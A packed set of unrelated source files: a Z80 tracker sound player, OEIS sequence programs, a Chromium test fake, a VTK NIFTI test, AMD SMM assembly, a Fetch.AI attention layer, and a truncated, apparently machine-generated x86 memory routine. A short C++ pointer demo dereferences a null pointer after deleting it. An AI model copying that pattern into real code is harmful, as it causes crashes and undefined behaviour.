PLY_SFX_OffsetNote equ PLY_SFX_Track1_Note - PLY_SFX_Track1_Pitch
PLY_SFX_OffsetInstrument equ PLY_SFX_Track1_Instrument - PLY_SFX_Track1_Pitch
PLY_SFX_OffsetSpeed equ PLY_SFX_Track1_InstrumentSpeed - PLY_SFX_Track1_Pitch
PLY_SFX_OffsetSpeedCpt equ PLY_SFX_Track1_InstrumentSpeedCpt - PLY_SFX_Track1_Pitch
;Plays a Sound Effects along with the music.
;A = No Channel (0,1,2)
;L = SFX Number (>0)
;H = Volume (0...F)
;E = Note (0...143)
;D = Speed (0 = As original, 1...255 = new Speed (1 is fastest))
;BC = Inverted Pitch (-#FFFF -> FFFF). 0 is no pitch. The higher the pitch, the lower the sound.
PLY_SFX_Play
ld ix,PLY_SFX_Track1_Pitch
or a
jr z,PLY_SFX_Play_Selected
ld ix,PLY_SFX_Track2_Pitch
dec a
jr z,PLY_SFX_Play_Selected
ld ix,PLY_SFX_Track3_Pitch
PLY_SFX_Play_Selected
ld (ix + PLY_SFX_OffsetPitch + 1),c ;Set Pitch
ld (ix + PLY_SFX_OffsetPitch + 2),b
ld a,e ;Set Note
ld (ix + PLY_SFX_OffsetNote),a
ld a,15 ;Set Volume
sub h
ld (ix + PLY_SFX_OffsetVolume),a
ld h,0 ;Set Instrument Address
add hl,hl
PLY_SFX_Play_InstrumentTable ld bc,0
add hl,bc
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
ld a,d ;Read Speed or use the user's one ?
or a
jr nz,PLY_SFX_Play_UserSpeed
ld a,(hl) ;Get Speed
PLY_SFX_Play_UserSpeed
ld (ix + PLY_SFX_OffsetSpeed + 1),a
ld (ix + PLY_SFX_OffsetSpeedCpt + 1),a
inc hl ;Skip Retrig
inc hl
ld (ix + PLY_SFX_OffsetInstrument + 1),l
ld (ix + PLY_SFX_OffsetInstrument + 2),h
ret
;Stops a sound effect on the selected channel
;E = No Channel (0,1,2)
;I used the E register instead of A so that Basic users can call this code in a straightforward way (call player+15, value).
PLY_SFX_Stop
ld a,e
ld hl,PLY_SFX_Track1_Instrument + 1
or a
jr z,PLY_SFX_Stop_ChannelFound
ld hl,PLY_SFX_Track2_Instrument + 1
dec a
jr z,PLY_SFX_Stop_ChannelFound
ld hl,PLY_SFX_Track3_Instrument + 1
dec a
PLY_SFX_Stop_ChannelFound
ld (hl),a
inc hl
ld (hl),a
ret
endif
if PLY_UseFades
;Sets the Fade value.
;E = Fade value (0 = full volume, 16 or more = no volume).
;I used the E register instead of A so that Basic users can call this code in a straightforward way (call player+9/+18, value).
PLY_SetFadeValue
ld a,e
ld (PLY_Channel1_FadeValue + 1),a
ld (PLY_Channel2_FadeValue + 1),a
ld (PLY_Channel3_FadeValue + 1),a
ret
endif
if PLY_SystemFriendly
;Save Interrupt status and Disable Interruptions
PLY_DisableInterruptions
ld a,i
di
;IFF in P/V flag.
;Prepare opcode for DI.
ld a,#f3
jp po,PLY_DisableInterruptions_Set_Opcode
;Opcode for EI.
ld a,#fb
PLY_DisableInterruptions_Set_Opcode
ld (PLY_RestoreInterruption),a
ret
endif
;A little convient interface for BASIC user, to allow them to use Sound Effects in Basic.
if PLY_UseBasicSoundEffectInterface
PLY_BasicSoundEffectInterface_PlaySound
ld c,(ix+0) ;Get Pitch
ld b,(ix+1)
ld d,(ix+2) ;Get Speed
ld e,(ix+4) ;Get Note
ld h,(ix+6) ;Get Volume
ld l,(ix+8) ;Get SFX number
ld a,(ix+10) ;Get Channel
jp PLY_SFX_Play
endif
list
;*** End of Arkos Tracker Player
nolist
|
; A297047: Number of edge covers in the n-wheel graph.
; Submitted by Jon Maiga
; 0,2,10,41,154,562,2023,7240,25842,92129,328270,1169390,4165231,14835316,52837774,188186161,670237602,2387090906,8501757271,30279468752,107841945274,384084812929,1367938393414,4871984909782,17351831683935,61799465142812,220102059235510,783905108702801,2791919445729274,9943568556453922,35414544563830663,126130770809270680,449221401563354562,1599925746321357089,5698220042111413630,20294511619010340350,72279974941307866831,257428948062031684996,916846794068852210974,3265398278330848829041
lpb $0
sub $0,1
mov $2,$1
mov $1,$4
add $1,$4
add $1,3
add $2,$4
max $2,2
sub $3,$4
mov $4,$2
mov $2,$3
add $5,$4
mov $3,$5
add $4,$1
add $5,$2
lpe
mov $0,$3
|
; A255226: Number of (n+2)X(6+2) 0..1 arrays with no 3x3 subblock diagonal sum 0 and no antidiagonal sum 0 and no row sum 2 and no column sum 2
; 88,94,103,115,133,160,199,256,340,463,643,907,1294,1861,2692,3910,5695,8311,12145,17764,25999,38068,55756,81679,119671,175351,256954,376549,551824,808702,1185175,1736923,2545549,3730648,5467495,8012968,11743540,17210959,25223851,36967315,54178198,79401973,116369212,170547334,249949231,366318367,536865625,786814780,1153133071,1689998620,2476813324,3629946319,5319944863,7796758111,11426704354,16746649141,24543407176,35970111454,52716760519,77260167619,113230278997,165947039440,243207206983,356437485904,522384525268,765591732175,1122029218003,1644413743195,2410005475294,3532034693221,5176448436340,7586453911558,11118488604703,16294937040967,23881390952449,34999879557076,51294816597967,75176207550340,110176087107340,161470903705231,236647111255495,346823198362759,508294102067914,744941213323333,1091764411686016,1600058513753854,2344999727077111,3436764138763051,5036822652516829,7381822379593864
add $0,1
mov $1,1
mov $2,1
lpb $0
sub $0,1
mov $4,$2
mov $2,$3
add $2,2
mov $3,$1
add $1,$4
lpe
add $1,1
mul $1,2
sub $1,4
mul $1,2
sub $1,4
div $1,4
mul $1,3
add $1,88
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/gcm_driver/instance_id/fake_gcm_driver_for_instance_id.h"
#include "base/bind.h"
#include "base/location.h"
#include "base/rand_util.h"
#include "base/single_thread_task_runner.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_util.h"
#include "base/threading/thread_task_runner_handle.h"
#include "components/gcm_driver/gcm_client.h"
namespace instance_id {
FakeGCMDriverForInstanceID::FakeGCMDriverForInstanceID()
: gcm::FakeGCMDriver(base::ThreadTaskRunnerHandle::Get()) {}
FakeGCMDriverForInstanceID::FakeGCMDriverForInstanceID(
const scoped_refptr<base::SequencedTaskRunner>& blocking_task_runner)
: FakeGCMDriver(blocking_task_runner) {}
FakeGCMDriverForInstanceID::~FakeGCMDriverForInstanceID() {
}
gcm::InstanceIDHandler*
FakeGCMDriverForInstanceID::GetInstanceIDHandlerInternal() {
return this;
}
void FakeGCMDriverForInstanceID::AddInstanceIDData(
const std::string& app_id,
const std::string& instance_id,
const std::string& extra_data) {
instance_id_data_[app_id] = std::make_pair(instance_id, extra_data);
}
void FakeGCMDriverForInstanceID::RemoveInstanceIDData(
const std::string& app_id) {
instance_id_data_.erase(app_id);
}
void FakeGCMDriverForInstanceID::GetInstanceIDData(
const std::string& app_id,
GetInstanceIDDataCallback callback) {
auto iter = instance_id_data_.find(app_id);
std::string instance_id;
std::string extra_data;
if (iter != instance_id_data_.end()) {
instance_id = iter->second.first;
extra_data = iter->second.second;
}
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, base::BindOnce(std::move(callback), instance_id, extra_data));
}
void FakeGCMDriverForInstanceID::GetToken(
const std::string& app_id,
const std::string& authorized_entity,
const std::string& scope,
base::TimeDelta time_to_live,
GetTokenCallback callback) {
std::string key = app_id + authorized_entity + scope;
auto iter = tokens_.find(key);
std::string token;
if (iter != tokens_.end()) {
token = iter->second;
} else {
token = base::NumberToString(base::RandUint64());
tokens_[key] = token;
}
last_gettoken_app_id_ = app_id;
last_gettoken_authorized_entity_ = authorized_entity;
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE,
base::BindOnce(std::move(callback), token, gcm::GCMClient::SUCCESS));
}
void FakeGCMDriverForInstanceID::ValidateToken(
const std::string& app_id,
const std::string& authorized_entity,
const std::string& scope,
const std::string& token,
ValidateTokenCallback callback) {
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, base::BindOnce(std::move(callback), true /* is_valid */));
}
void FakeGCMDriverForInstanceID::DeleteToken(
const std::string& app_id,
const std::string& authorized_entity,
const std::string& scope,
DeleteTokenCallback callback) {
std::string key_prefix = app_id;
// Calls to InstanceID::DeleteID() will end up deleting the token for a given
// |app_id| with both |authorized_entity| and |scope| set to "*", meaning that
// all data has to be deleted. Do a prefix search to emulate this behaviour.
if (authorized_entity != "*")
key_prefix += authorized_entity;
if (scope != "*")
key_prefix += scope;
for (auto iter = tokens_.begin(); iter != tokens_.end();) {
if (base::StartsWith(iter->first, key_prefix, base::CompareCase::SENSITIVE))
iter = tokens_.erase(iter);
else
iter++;
}
last_deletetoken_app_id_ = app_id;
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, base::BindOnce(std::move(callback), gcm::GCMClient::SUCCESS));
}
} // namespace instance_id
|
/*=========================================================================
Program: Visualization Toolkit
Module: TestNIFTIReaderWriter.cxx
Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen
All rights reserved.
See Copyright.txt or http://www.kitware.com/Copyright.htm for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
/*
Test NIFTI support in VTK by reading a file, writing it, and
then re-reading it to ensure that the contents are identical.
*/
#include "vtkNew.h"
#include "vtkTestUtilities.h"
#include "vtkRegressionTestImage.h"
#include "vtkCamera.h"
#include "vtkImageData.h"
#include "vtkImageMathematics.h"
#include "vtkImageProperty.h"
#include "vtkImageSlice.h"
#include "vtkImageSliceMapper.h"
#include "vtkMatrix4x4.h"
#include "vtkRenderWindow.h"
#include "vtkRenderWindowInteractor.h"
#include "vtkRenderer.h"
#include "vtkStringArray.h"
#include "vtkNIFTIImageHeader.h"
#include "vtkNIFTIImageReader.h"
#include "vtkNIFTIImageWriter.h"
#include <string>
static const char *testfiles[7][2] = {
{ "Data/minimal.nii.gz", "out_minimal.nii.gz" },
{ "Data/minimal.img.gz", "out_minimal.hdr" },
{ "Data/planar_rgb.nii.gz", "out_planar_rgb.nii" },
{ "Data/nifti_rgb.nii.gz", "out_nifti_rgb.nii" },
{ "Data/filtered_func_data.nii.gz", "out_filtered_func_data.nii.gz" },
{ "Data/minimal.hdr.gz", "out_minimal_2.nii" },
{ "Data/minimal.img.gz", "" }
};
static const char *dispfile = "Data/avg152T1_RL_nifti.nii.gz";
static void TestDisplay(vtkRenderWindow *renwin, const char *infile)
{
vtkNew<vtkNIFTIImageReader> reader;
reader->SetFileName(infile);
reader->Update();
int size[3];
double center[3], spacing[3];
reader->GetOutput()->GetDimensions(size);
reader->GetOutput()->GetCenter(center);
reader->GetOutput()->GetSpacing(spacing);
double center1[3] = { center[0], center[1], center[2] };
double center2[3] = { center[0], center[1], center[2] };
if (size[2] % 2 == 1)
{
center1[2] += 0.5*spacing[2];
}
if (size[0] % 2 == 1)
{
center2[0] += 0.5*spacing[0];
}
double vrange[2];
reader->GetOutput()->GetScalarRange(vrange);
vtkNew<vtkImageSliceMapper> map1;
map1->BorderOn();
map1->SliceAtFocalPointOn();
map1->SliceFacesCameraOn();
map1->SetInputConnection(reader->GetOutputPort());
vtkNew<vtkImageSliceMapper> map2;
map2->BorderOn();
map2->SliceAtFocalPointOn();
map2->SliceFacesCameraOn();
map2->SetInputConnection(reader->GetOutputPort());
vtkNew<vtkImageSlice> slice1;
slice1->SetMapper(map1.GetPointer());
slice1->GetProperty()->SetColorWindow(vrange[1]-vrange[0]);
slice1->GetProperty()->SetColorLevel(0.5*(vrange[0]+vrange[1]));
vtkNew<vtkImageSlice> slice2;
slice2->SetMapper(map2.GetPointer());
slice2->GetProperty()->SetColorWindow(vrange[1]-vrange[0]);
slice2->GetProperty()->SetColorLevel(0.5*(vrange[0]+vrange[1]));
double ratio = size[0]*1.0/(size[0]+size[2]);
vtkNew<vtkRenderer> ren1;
ren1->SetViewport(0,0,ratio,1.0);
vtkNew<vtkRenderer> ren2;
ren2->SetViewport(ratio,0.0,1.0,1.0);
ren1->AddViewProp(slice1.GetPointer());
ren2->AddViewProp(slice2.GetPointer());
vtkCamera *cam1 = ren1->GetActiveCamera();
cam1->ParallelProjectionOn();
cam1->SetParallelScale(0.5*spacing[1]*size[1]);
cam1->SetFocalPoint(center1[0], center1[1], center1[2]);
cam1->SetPosition(center1[0], center1[1], center1[2] - 100.0);
vtkCamera *cam2 = ren2->GetActiveCamera();
cam2->ParallelProjectionOn();
cam2->SetParallelScale(0.5*spacing[1]*size[1]);
cam2->SetFocalPoint(center2[0], center2[1], center2[2]);
cam2->SetPosition(center2[0] + 100.0, center2[1], center2[2]);
renwin->SetSize(size[0] + size[2], size[1]);
renwin->AddRenderer(ren1.GetPointer());
renwin->AddRenderer(ren2.GetPointer());
};
static double TestReadWriteRead(
const char *infile, const char *infile2, const char *outfile,
bool planarRGB)
{
// read a NIFTI file
vtkNew<vtkNIFTIImageReader> reader;
if (infile2 == 0)
{
reader->SetFileName(infile);
}
else
{
vtkNew<vtkStringArray> filenames;
filenames->InsertNextValue(infile);
filenames->InsertNextValue(infile2);
reader->SetFileNames(filenames.GetPointer());
}
reader->TimeAsVectorOn();
if (planarRGB)
{
reader->PlanarRGBOn();
}
reader->Update();
vtkNew<vtkNIFTIImageWriter> writer;
writer->SetInputConnection(reader->GetOutputPort());
writer->SetFileName(outfile);
// copy most information directly from the header
vtkNIFTIImageHeader *header = writer->GetNIFTIHeader();
header->DeepCopy(reader->GetNIFTIHeader());
header->SetDescrip("VTK Test Data");
// this information will override the reader's header
writer->SetQFac(reader->GetQFac());
writer->SetTimeDimension(reader->GetTimeDimension());
writer->SetTimeSpacing(reader->GetTimeSpacing());
writer->SetRescaleSlope(reader->GetRescaleSlope());
writer->SetRescaleIntercept(reader->GetRescaleIntercept());
writer->SetQFormMatrix(reader->GetQFormMatrix());
if (reader->GetSFormMatrix())
{
writer->SetSFormMatrix(reader->GetSFormMatrix());
}
else
{
writer->SetSFormMatrix(reader->GetQFormMatrix());
}
if (planarRGB)
{
writer->PlanarRGBOn();
}
writer->Write();
// to exercise PrintSelf
vtkOStrStreamWrapper s;
reader->Print(s);
header->Print(s);
writer->Print(s);
vtkNew<vtkNIFTIImageReader> reader2;
reader2->SetFileName(outfile);
reader2->TimeAsVectorOn();
if (planarRGB)
{
reader2->PlanarRGBOn();
}
reader2->Update();
// the images should be identical
vtkNew<vtkImageMathematics> diff;
diff->SetOperationToSubtract();
diff->SetInputConnection(0,reader->GetOutputPort());
diff->SetInputConnection(1,reader2->GetOutputPort());
diff->Update();
double diffrange[2];
diff->GetOutput()->GetScalarRange(diffrange);
double differr = diffrange[0]*diffrange[0] + diffrange[1]*diffrange[1];
// the matrices should be within tolerance
if (writer->GetQFormMatrix())
{
vtkNew<vtkMatrix4x4> m;
m->DeepCopy(writer->GetQFormMatrix());
m->Invert();
vtkMatrix4x4::Multiply4x4(m.GetPointer(), reader2->GetQFormMatrix(),
m.GetPointer());
double sqdiff = 0.0;
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
double d = (m->GetElement(i, j) - (i == j));
sqdiff += d*d;
}
}
if (sqdiff > 1e-10)
{
cerr << "Mismatched read/write QFormMatrix:\n";
m->Print(cerr);
differr = 1.0;
}
}
if (writer->GetSFormMatrix())
{
vtkNew<vtkMatrix4x4> m;
m->DeepCopy(writer->GetSFormMatrix());
m->Invert();
vtkMatrix4x4::Multiply4x4(m.GetPointer(), reader2->GetSFormMatrix(),
m.GetPointer());
double sqdiff = 0.0;
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
double d = (m->GetElement(i, j) - (i == j));
sqdiff += d*d;
}
}
if (sqdiff > 1e-10)
{
cerr << "Mismatched read/write SFormMatrix:\n";
m->Print(cerr);
differr = 1.0;
}
}
return differr;
}
static int TestNIFTIHeader()
{
vtkNew<vtkNIFTIImageHeader> header1;
vtkNew<vtkNIFTIImageHeader> header2;
header1->SetIntentCode(vtkNIFTIImageHeader::IntentZScore);
header1->SetIntentName("ZScore");
header1->SetIntentP1(1.0);
header1->SetIntentP2(2.0);
header1->SetIntentP3(3.0);
header1->SetSclSlope(2.0);
header1->SetSclInter(1024.0);
header1->SetCalMin(-1024.0);
header1->SetCalMax(3072.0);
header1->SetSliceDuration(1.0);
header1->SetSliceStart(2);
header1->SetSliceEnd(14);
header1->SetXYZTUnits(
vtkNIFTIImageHeader::UnitsMM | vtkNIFTIImageHeader::UnitsSec);
header1->SetDimInfo(0);
header1->SetDescrip("Test header");
header1->SetAuxFile("none");
header1->SetQFormCode(vtkNIFTIImageHeader::XFormScannerAnat);
header1->SetQuaternB(0.0);
header1->SetQuaternC(1.0);
header1->SetQuaternD(0.0);
header1->SetQOffsetX(10.0);
header1->SetQOffsetY(30.0);
header1->SetQOffsetZ(20.0);
header1->SetSFormCode(vtkNIFTIImageHeader::XFormAlignedAnat);
double matrix[16];
vtkMatrix4x4::Identity(matrix);
header1->SetSRowX(matrix);
header1->SetSRowY(matrix+4);
header1->SetSRowZ(matrix+8);
header2->DeepCopy(header1.GetPointer());
bool success = true;
success &= (header2->GetIntentCode() == vtkNIFTIImageHeader::IntentZScore);
success &= (strcmp(header2->GetIntentName(), "ZScore") == 0);
success &= (header2->GetIntentP1() == 1.0);
success &= (header2->GetIntentP2() == 2.0);
success &= (header2->GetIntentP3() == 3.0);
success &= (header2->GetSclSlope() == 2.0);
success &= (header2->GetSclInter() == 1024.0);
success &= (header2->GetCalMin() == -1024.0);
success &= (header2->GetCalMax() == 3072.0);
success &= (header2->GetSliceDuration() == 1.0);
success &= (header2->GetSliceStart() == 2);
success &= (header2->GetSliceEnd() == 14);
success &= (header2->GetXYZTUnits() ==
(vtkNIFTIImageHeader::UnitsMM | vtkNIFTIImageHeader::UnitsSec));
success &= (header2->GetDimInfo() == 0);
success &= (strcmp(header2->GetDescrip(), "Test header") == 0);
success &= (strcmp(header2->GetAuxFile(), "none") == 0);
success &= (header2->GetQFormCode() == vtkNIFTIImageHeader::XFormScannerAnat);
success &= (header2->GetQuaternB() == 0.0);
success &= (header2->GetQuaternC() == 1.0);
success &= (header2->GetQuaternD() == 0.0);
success &= (header2->GetQOffsetX() == 10.0);
success &= (header2->GetQOffsetY() == 30.0);
success &= (header2->GetQOffsetZ() == 20.0);
header2->GetSRowX(matrix);
header2->GetSRowY(matrix + 4);
header2->GetSRowZ(matrix + 8);
success &= (matrix[0] == 1.0 && matrix[5] == 1.0 && matrix[10] == 1.0);
return success;
}
int TestNIFTIReaderWriter(int argc, char *argv[])
{
// perform the header test
if (!TestNIFTIHeader())
{
cerr << "Failed TestNIFTIHeader\n";
return 1;
}
// perform the read/write test
for (int i = 0; i < 5; i++)
{
char *infile2 = 0;
char *infile =
vtkTestUtilities::ExpandDataFileName(argc, argv, testfiles[i][0]);
bool planarRGB = (i == 2);
if (i == 5)
{
infile2 =
vtkTestUtilities::ExpandDataFileName(argc, argv, testfiles[6][0]);
}
if (!infile)
{
cerr << "Could not locate input file " << testfiles[i][0] << "\n";
return 1;
}
char *tempDir = vtkTestUtilities::GetArgOrEnvOrDefault(
"-T", argc, argv, "VTK_TEMP_DIR", "Testing/Temporary");
if (!tempDir)
{
cerr << "Could not determine temporary directory.\n";
return 1;
}
std::string outpath = tempDir;
outpath += "/";
outpath += testfiles[i][1];
delete [] tempDir;
vtkNew<vtkNIFTIImageReader> testReader;
testReader->GetFileExtensions();
testReader->GetDescriptiveName();
if (!testReader->CanReadFile(infile))
{
cerr << "CanReadFile() failed for " << infile << "\n";
return 1;
}
double err = TestReadWriteRead(infile, infile2, outpath.c_str(),
planarRGB);
if (err != 0.0)
{
cerr << "Input " << infile << " differs from output " << outpath.c_str()
<< "\n";
return 1;
}
delete [] infile;
delete [] infile2;
}
// perform the display test
char *infile =
vtkTestUtilities::ExpandDataFileName(argc, argv, dispfile);
if (!infile)
{
cerr << "Could not locate input file " << dispfile << "\n";
return 1;
}
vtkNew<vtkRenderWindow> renwin;
vtkNew<vtkRenderWindowInteractor> iren;
iren->SetRenderWindow(renwin.GetPointer());
TestDisplay(renwin.GetPointer(), infile);
delete [] infile;
int retVal = vtkRegressionTestImage(renwin.GetPointer());
if (retVal == vtkRegressionTester::DO_INTERACTOR)
{
renwin->Render();
iren->Start();
retVal = vtkRegressionTester::PASSED;
}
return (retVal != vtkRegressionTester::PASSED);
}
|
;
; Copyright (c) 2006-2008 Advanced Micro Devices,Inc. ("AMD").
;
; This library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as
; published by the Free Software Foundation; either version 2.1 of the
; License, or (at your option) any later version.
;
; This code is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General
; Public License along with this library; if not, write to the
; Free Software Foundation, Inc., 59 Temple Place, Suite 330,
; Boston, MA 02111-1307 USA
;
;* Function: *
;* This file implements the critical section macros.
include gx2.inc
.model tiny,c
.586p
.CODE
;***********************************************************************
; Disables SMI nesting
;***********************************************************************
EnterCriticalSection proc
mov ecx, MSR_SMM_CTRL
rdmsr
and eax, NOT NEST_SMI_EN
wrmsr
ret
EnterCriticalSection endp
;***********************************************************************
; Enables SMI nesting
;***********************************************************************
ExitCriticalSection proc
mov ecx, MSR_SMM_CTRL
rdmsr
or eax, NEST_SMI_EN
wrmsr
ret
ExitCriticalSection endp
END
|
#include <iostream>
using std::cout;
using std::endl;
int main(int argc, char const *argv[])
{
double a, *p, *q;
a= 3.14;
cout << a << endl;
p = &a;
*p = 2.718;
cout << a << endl;
a = 5;
cout << *p << endl;
p = nullptr;
p = new double;
*p = 20;
q = p;
cout << *p << endl;
cout << a << endl;
delete p;
p = nullptr;
cout << *p << endl;
return 0;
} |
#pragma once
//------------------------------------------------------------------------------
//
// Copyright 2018-2020 Fetch.AI Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//------------------------------------------------------------------------------
#include "math/standard_functions/sqrt.hpp"
#include "ml/core/subgraph.hpp"
#include "ml/ops/activations/dropout.hpp"
#include "ml/ops/activations/softmax.hpp"
#include "ml/ops/add.hpp"
#include "ml/ops/constant.hpp"
#include "ml/ops/divide.hpp"
#include "ml/ops/mask_fill.hpp"
#include "ml/ops/matrix_multiply.hpp"
#include "ml/ops/placeholder.hpp"
#include "ml/ops/transpose.hpp"
#include <cmath>
#include <cstdint>
#include <memory>
#include <random>
#include <string>
namespace fetch {
namespace ml {
namespace layers {
template <class T>
class ScaledDotProductAttention : public SubGraph<T>
{
public:
using TensorType = T;
using SizeType = fetch::math::SizeType;
using ArrayPtrType = std::shared_ptr<TensorType>;
using DataType = typename T::Type;
using VecTensorType = typename SubGraph<T>::VecTensorType;
using SPType = LayerScaledDotProductAttentionSaveableParams<T>;
ScaledDotProductAttention() = default;
explicit ScaledDotProductAttention(SizeType dk,
DataType dropout = fetch::math::Type<DataType>("0.1"))
: key_dim_(dk)
, dropout_(dropout)
{
std::string name = DESCRIPTOR;
// all input shapes are (feature_length, query/key/value_num, batch_num)
std::string query =
this->template AddNode<fetch::ml::ops::PlaceHolder<TensorType>>(name + "_Query", {});
std::string key =
this->template AddNode<fetch::ml::ops::PlaceHolder<TensorType>>(name + "_Key", {});
std::string value =
this->template AddNode<fetch::ml::ops::PlaceHolder<TensorType>>(name + "_Value", {});
std::string mask =
this->template AddNode<fetch::ml::ops::PlaceHolder<TensorType>>(name + "_Mask", {});
// Be advised that the matrix multiplication sequence is different from what is proposed in the
// paper as our batch dimension is the last dimension, which the feature dimension is the first
// one. in the paper, feature dimension is the col dimension please refer to
// http://jalammar.github.io/illustrated-transformer/
std::string transpose_key = this->template AddNode<fetch::ml::ops::Transpose<TensorType>>(
name + "_TransposeKey", {key});
std::string kq_matmul = this->template AddNode<fetch::ml::ops::MatrixMultiply<TensorType>>(
name + "_Key_Query_MatMul", {transpose_key, query});
TensorType sqrt_dk_tensor(std::vector<SizeType>({1, 1, 1}));
sqrt_dk_tensor(0, 0, 0) = fetch::math::Sqrt(static_cast<DataType>(key_dim_));
std::string sqrt_dk_ph =
this->template AddNode<fetch::ml::ops::Constant<TensorType>>(name + "_Sqrt_Key_Dim", {});
this->SetInput(sqrt_dk_ph, sqrt_dk_tensor);
// scale the QK matrix multiplication
std::string scaled_kq_matmul = this->template AddNode<fetch::ml::ops::Divide<TensorType>>(
name + "_Scaled_Key_Query_MatMul", {kq_matmul, sqrt_dk_ph});
// masking: make sure you mask along the feature dimension if the mask is to be broadcasted
std::string masked_scaled_kq_matmul =
this->template AddNode<fetch::ml::ops::MaskFill<TensorType>>(
name + "_Masking", {mask, scaled_kq_matmul}, DataType{-1000000000});
// softmax
std::string attention_weight = this->template AddNode<fetch::ml::ops::Softmax<TensorType>>(
name + "_Softmax", {masked_scaled_kq_matmul}, static_cast<SizeType>(0));
// dropout
std::string dropout_attention_weight =
this->template AddNode<fetch::ml::ops::Dropout<TensorType>>(name + "_Dropout",
{attention_weight}, dropout_);
// attention vectors
std::string weight_value_matmul =
this->template AddNode<fetch::ml::ops::MatrixMultiply<TensorType>>(
name + "_Value_Weight_MatMul", {value, dropout_attention_weight});
// in the end, the output is of shape (feature_length, query_num, batch_num)
this->AddInputNode(query);
this->AddInputNode(key);
this->AddInputNode(value);
this->AddInputNode(mask);
this->SetOutputNode(weight_value_matmul);
this->Compile();
}
std::shared_ptr<OpsSaveableParams> GetOpSaveableParams() override
{
auto ret = std::make_shared<SPType>();
// get base class saveable params
std::shared_ptr<OpsSaveableParams> sgsp = SubGraph<TensorType>::GetOpSaveableParams();
// assign base class saveable params to ret
auto sg_ptr1 = std::dynamic_pointer_cast<typename SubGraph<TensorType>::SPType>(sgsp);
auto sg_ptr2 = std::static_pointer_cast<typename SubGraph<TensorType>::SPType>(ret);
*sg_ptr2 = *sg_ptr1;
// asign layer specific params
ret->key_dim = key_dim_;
ret->dropout = dropout_;
return ret;
}
void SetOpSaveableParams(SPType const &sp)
{
// assign layer specific params
key_dim_ = sp.key_dim;
dropout_ = sp.dropout;
}
std::vector<SizeType> ComputeOutputShape(VecTensorType const &inputs) const override
{
return {inputs.at(2)->shape(0), inputs.front()->shape(1), inputs.front()->shape(2)};
}
static constexpr OpType OpCode()
{
return OpType::LAYER_SCALED_DOT_PRODUCT_ATTENTION;
}
static constexpr char const *DESCRIPTOR = "ScaledDotProductAttention";
private:
SizeType key_dim_{};
DataType dropout_{};
};
} // namespace layers
} // namespace ml
} // namespace fetch
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xabdd, %rsi
lea addresses_WT_ht+0x16edd, %rdi
nop
nop
nop
xor %r9, %r9
mov $74, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $65106, %r11
lea addresses_WC_ht+0x17e5f, %rsi
lea addresses_normal_ht+0xdd5d, %rdi
nop
nop
nop
cmp %rbx, %rbx
mov $93, %rcx
rep movsl
add $62945, %rbx
lea addresses_normal_ht+0x127dd, %r9
nop
nop
nop
nop
nop
and %r10, %r10
mov (%r9), %bx
dec %rcx
lea addresses_D_ht+0x159dd, %rsi
lea addresses_WT_ht+0x129dd, %rdi
nop
nop
dec %r13
mov $4, %rcx
rep movsb
nop
nop
nop
nop
add $5584, %r10
lea addresses_normal_ht+0x501d, %r13
clflush (%r13)
nop
nop
nop
nop
nop
and %r11, %r11
vmovups (%r13), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rbx
nop
nop
nop
add $6491, %r13
lea addresses_A_ht+0x1b3dd, %r9
nop
nop
nop
nop
sub %r13, %r13
movb (%r9), %r11b
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_normal_ht+0x63dd, %rsi
lea addresses_WC_ht+0x1e3dd, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
add %r11, %r11
mov $20, %rcx
rep movsq
nop
nop
sub %r10, %r10
lea addresses_normal_ht+0x1bf5d, %r11
nop
nop
nop
nop
nop
sub $22184, %rbx
mov (%r11), %rcx
nop
xor $25654, %rsi
lea addresses_WT_ht+0x133dd, %r10
nop
nop
dec %r9
movb (%r10), %r13b
nop
xor $55295, %r13
lea addresses_D_ht+0x9003, %rbx
clflush (%rbx)
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
nop
xor $7799, %rsi
lea addresses_D_ht+0x13fdd, %rsi
sub %r9, %r9
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
and $27708, %rdi
lea addresses_A_ht+0xf3dd, %rsi
lea addresses_WT_ht+0x7d1d, %rdi
nop
nop
add $3166, %r11
mov $32, %rcx
rep movsl
nop
inc %r11
lea addresses_D_ht+0x47dd, %rsi
lea addresses_WT_ht+0x37dd, %rdi
nop
nop
add %r10, %r10
mov $57, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $39574, %rdi
lea addresses_UC_ht+0x18abd, %r13
nop
nop
nop
nop
nop
dec %rcx
movb $0x61, (%r13)
nop
nop
nop
nop
and %r9, %r9
lea addresses_A_ht+0x15aad, %rdi
nop
and %r13, %r13
vmovups (%rdi), %ymm4
